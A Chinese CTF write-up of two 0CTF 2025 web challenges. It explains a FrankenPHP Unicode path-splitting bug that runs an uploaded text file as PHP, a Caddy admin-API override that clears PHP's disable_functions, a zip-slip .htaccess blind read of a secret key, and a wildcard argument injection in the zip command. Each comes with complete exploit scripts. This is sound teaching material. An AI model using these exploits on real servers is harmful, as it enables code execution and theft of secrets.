0CTF-2025

ezupload

PHP has turned 30, but hey, age is just a number! Like a fine wine (or maybe a funky cheese), it only gets better with time. Or does it? Dive into this challenge and find out for yourself.

题目

先来看一眼题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}

/?action=create&filename=aaa.php创建一个phpinfo,查询后得到题目信息:

1
2
FrankenPHP 1.10.1
PHP 8.4.15

disable_functions:

1
chdir,curl_exec,curl_init,curl_multi_add_handle,curl_multi_exec,curl_multi_init,curl_multi_remove_handle,curl_multi_select,curl_setopt,dl,error_log,exec,imap_open,ini_alter,ini_restore,ini_set,ld,link,mail,mb_send_mail,passthru,pcntl_alarm,pcntl_async_signals,pcntl_exec,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_signal_get_handler,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,putenv,shell_exec,symlink,syslog,system

open_basedir:

1
/app/public:/tmp

太好了,完蛋

简单搜索后得知,FrankenPHP 是一个基于Golang的全新的PHP解释器,与 Caddy 深度捆绑。最新版本为 1.11.0。

漏洞

这里基于 https://internethandout.com/post/ezupload 这篇文章,尝试跟着作者跟进一下。

去GitHub审计FrankenPHP源码,关注frankenphp/cgi.go

https://github.com/php/frankenphp/blob/19d00a08e2217167918aa7c32c056c1a70f22021/cgi.go#L262

先看这个splitCgiPath函数,用来切分cgi文件路径,得到SCRIPT_NAME, SCRIPT_FILENAME, PATH_INFO, DOCUMENT_URI 这四个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// splitCgiPath splits the request path into SCRIPT_NAME, SCRIPT_FILENAME, PATH_INFO, DOCUMENT_URI
func splitCgiPath(fc *frankenPHPContext) {
path := fc.request.URL.Path
splitPath := fc.splitPath

if splitPath == nil {
splitPath = []string{".php"}
}

if splitPos := splitPos(path, splitPath); splitPos > -1 {
fc.docURI = path[:splitPos]
fc.pathInfo = path[splitPos:]

// Strip PATH_INFO from SCRIPT_NAME
fc.scriptName = strings.TrimSuffix(path, fc.pathInfo)

// Ensure the SCRIPT_NAME has a leading slash for compliance with RFC3875
// Info: https://tools.ietf.org/html/rfc3875#section-4.1.13
if fc.scriptName != "" && !strings.HasPrefix(fc.scriptName, "/") {
fc.scriptName = "/" + fc.scriptName
}
}

// TODO: is it possible to delay this and avoid saving everything in the context?
// SCRIPT_FILENAME is the absolute path of SCRIPT_NAME
fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)
fc.worker = getWorkerByPath(fc.scriptFilename)
}

举个例子,如果GET /blog/index.php/post/123 HTTP/1.1,那么结果就是:

1
2
3
4
DOCUMENT_URI    = /blog/index.php
PATH_INFO = /post/123
SCRIPT_NAME = /blog/index.php
SCRIPT_FILENAME = documentRoot/blog/index.php

最后这几个参数又会传给PHP作为$_SERVER['SCRIPT_NAME']$_SERVER['PATH_INFO']

里面调用了splitPos函数,那再来看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// splitPos returns the index where path should
// be split based on SplitPath.
// example: if splitPath is [".php"]
// "/path/to/script.php/some/path": ("/path/to/script.php", "/some/path")
//
// Adapted from https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go
// Copyright 2015 Matthew Holt and The Caddy Authors
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}

lowerPath := strings.ToLower(path)
for _, split := range splitPath {
if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 {
return idx + len(split)
}
}
return -1
}

这个函数会返回splitPath开始的索引。注释写的很清楚,举个例子,如果:

1
2
path      := "/path/to/script.php/some/path"
splitPath := []string{".php"}

它就会去找这个.php开始的索引,也就是15。用这个函数就可以切分cgi文件的路径和参数。

不过,它这里有一行代码 lowerPath := strings.ToLower(path) ,这意味着所有传入的path都会转为小写字符。**splitPath返回了小写处理过的索引,而splitCgiPath使用的却是没有小写处理的原始path。**

那这里就有一个假设,即大小写转换不影响索引序号,这对ASCII字符是天然成立的,不过Unicode可就不这样了。

**İ是一个头上带点的大写Unicode字符I,hex是c4 b0。但转为小写后是,hex是69 cc 87**。咚咚咚,遇水变大变粗。2字节变成3字节了。

引用一下参考博客的图:
太清晰了!

利用

这里再放一下题目,看着方便一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}

然后贴出arb php exec的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

PHP = '''
<?php
echo 114514;
'''

target = 'http://fb3737hbvmvk7gxe.instance.penguin.0ops.sjtu.cn:18080'

url = f'{target}/?action=create&filename=İİİİshell.txt.php'
r = requests.get(url)
print(r.text)

files = {
'file': ('İİİİshell.txt', PHP, 'application/octet-stream'),
}
r = requests.post(target + '?action=upload', files=files)
print(r.text)

url = f'{target}/İİİİshell.txt.php'
r = requests.get(url)
print(r.text)

首先创建İİİİshell.txt.php,此时写入的是phpinfo。

然后上传 İİİİshell.txt,使用?action=upload接口,这时候储存的文件名就是İİİİshell.txt

当我们去访问İİİİshell.txt.php时,FrankenPHP要去判断这次是不是请求cgi,然后会调用上述splitCgiPath函数,然后是splitPos,触发 lowerPath := strings.ToLower(path) 转为小写,这4个特殊的Unicode字符膨胀,导致预期的索引右移了4个字节,用原始path进行索引时,到İİİİshell.txt就结束了,而İİİİshell.txt刚好是一个存在的并且写了我们的payload的txt文件,最终它被当作php执行了。

沙盒逃逸

好累啊,看了一眼队伍的WP:

1
2
3
4
5
6
7
SBE part:

https://x.com/Nyaaaaa_ovo/status/1988340384230240458

exp hash: 0509be962cce85c8e22956e9df7f326b

It is still not fixed in the latest PHP. We will release the full exploit once it was patched. If payload is indeed needed to claim the reward, plz dm crazyman or frank.

emmmm,蒜鸟。这篇文章 使用的应该才是预期解。关键点其实就一句话:FrankenPHP allows global php.ini overrides via the Caddy config: apps.frankenphp.php_ini

那就很简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ini = [
"disable_functions" => "",
"open_basedir" => "/",
];

$ctx = stream_context_create([
"http" => [
"method" => "PUT",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($ini),
"ignore_errors" => true,
],
]);

file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $ctx);

然后再检查一下:

1
var_dump(ini_get("disable_functions"), ini_get("open_basedir"));

输出

1
2
string(0) ""
string(1) "/"

好的已经没有限制了,随便搞吧。

1
2
<?php
system("/readflag");

0Pages

考点:zip路径穿越 + .htaccess盲注 + salvo源码审计 + 通配符命令注入

简介:上传zip会解压,admin可以导出(会触发zip命令进行压缩),需要伪造admin的cookie,需要获取/app/.secretkey的值。

原题有这样写

1
2
3
4
5
6
7
8
let secret_key = std::fs::read(".secretkey").unwrap_or_else(|_| {
eprintln!("Error: Could not read secret key from .secretkey. Please create the file with a secret key.");
std::process::exit(1);
});
if secret_key.len() < 128 {
eprintln!("Error: Secret key must be at least 128 bytes long.");
std::process::exit(1);
}

想要伪造admin就得拿到/app/.secretkey

使用.htaccess盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import zipfile
import httpx
import os
import sys

# === 配置区域 ===
# 目标 URL (上传接口)
UPLOAD_URL = "http://localhost:8080/api/sites"
# 验证 URL (访问不存在的页面触发 .htaccess)
CHECK_URL = "http://localhost:8080/trigger_404_check"

# 普通用户的 Cookie
headers = {
"Cookie": "salvo.session.id=DdLMh+xWfZKDX0G4iSsZ7NNhThkTo%2FcBUDZCVKCkpW8%3DLAAAAAAAAABTWEs1N002aWNhZU5TakVObnk3cnJjamZhdzRIL1piRk5MNGFramQwVUZzPQEeAAAAAAAAADIwMjUtMTItMjFUMjA6MzA6MDUuMDYzNjE1NTQ0WgEAAAAAAAAACAAAAAAAAAB1c2VybmFtZQMAAAAAAAAAIjEi"
}

# 我们要读取的目标文件
TARGET_FILE = "/app/.secretkey"

manifest = """{
"site_id": null,
"owner": null,
"webroot": "a/b/c/d",
"deployed_at": null
}"""

# .htaccess 盲注模板
# 逻辑:如果 TARGET_FILE 内容以 {payload} 开头,则将 404 页面设为 "haha"
htaccess_template = """<If "file('{target}') =~ /^{payload}/">
ErrorDocument 404 "haha"
</If>"""

def hex_encode(s):
"""将字节串转换为 Apache 正则的 Hex 格式 (例如 \\x0a\\xff)"""
return "".join([f"\\x{c:02x}" for c in s])

def main():
# 初始化 secret_key,从空开始
secret_key = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

print(f"[*] Starting blind injection for: {TARGET_FILE}")
print("[*] Waiting for oracle response...")

# 假设文件最大长度 128 字节
for i in range(128):
found_byte = False

# 遍历 0x00 到 0xff
for b in range(256):
current_byte = b.to_bytes(1, "little")
candidate = secret_key + current_byte

# 1. 构造 Payload
payload_hex = hex_encode(candidate)
htaccess_content = htaccess_template.format(target=TARGET_FILE, payload=payload_hex)

zip_name = "exp.zip"
try:
# 2. 制作恶意 Zip 包
with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("manifest.json", manifest)
# Zip Slip: 穿越目录覆盖 .htaccess
# 路径层级要和 manifest 中的 webroot 对应
zf.writestr("a/b/c/d/../../../../var/www/html/.htaccess", htaccess_content)

# 3. 上传 Zip
with open(zip_name, "rb") as f:
resp = httpx.post(UPLOAD_URL, headers=headers, files={"archive": f}, timeout=10)
if resp.status_code != 200:
print(f"\n[-] Upload failed with status {resp.status_code}. Cookie might be expired.")
return

# 4. 触发 Oracle
# 访问一个肯定不存在的页面,看是否返回 "haha"
check_resp = httpx.get(CHECK_URL, timeout=10)

# 5. 判断结果
if "haha" in check_resp.text:
secret_key += current_byte
# 格式化输出:如果是可打印字符显示字符,否则显示 Hex
display_char = chr(b) if 32 <= b <= 126 else '?'
print(f"\n[+] Found Byte {i+1}: {hex(b)} ('{display_char}')")
print(f"[*] Current Key (Hex): {secret_key.hex()}")
found_byte = True
break
else:
# 打印进度小点
print(".", end="", flush=True)

except Exception as e:
print(f"\n[-] Error: {e}")
continue
finally:
if os.path.exists(zip_name):
os.remove(zip_name)

if not found_byte:
print("\n[*] Finished! (No more bytes found or end of file)")
break

print("\n" + "="*30)
print(f"FINAL SECRET KEY (Hex): {secret_key.hex()}")
print(f"FINAL SECRET KEY (Raw): {secret_key}")
print("="*30)

if __name__ == "__main__":
main()

.htaccess盲注到第28字节就会被/x00截断,但实际上只需要爆破3字节就好了。(apache的file等函数都是C写的,对/x00的处理都是透明的)

但是看这里,实际上只使用前32字节来生成cookie。

后面部分exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("template.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("template.zip")
zipFile.writestr(
"manifest.json",
"""{
"site_id": null,
"owner": null,
"webroot": "a",
"deployed_at": null
}""",
zipfile.ZIP_DEFLATED,
)
zipFile.writestr("a/../-T", "", zipfile.ZIP_DEFLATED)
zipFile.writestr("a/../-TT", "", zipfile.ZIP_DEFLATED)
zipFile.writestr("a/../bash c.sh", "", zipfile.ZIP_DEFLATED)
zipFile.writestr("a/../c.sh", "/readflag > result.txt", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e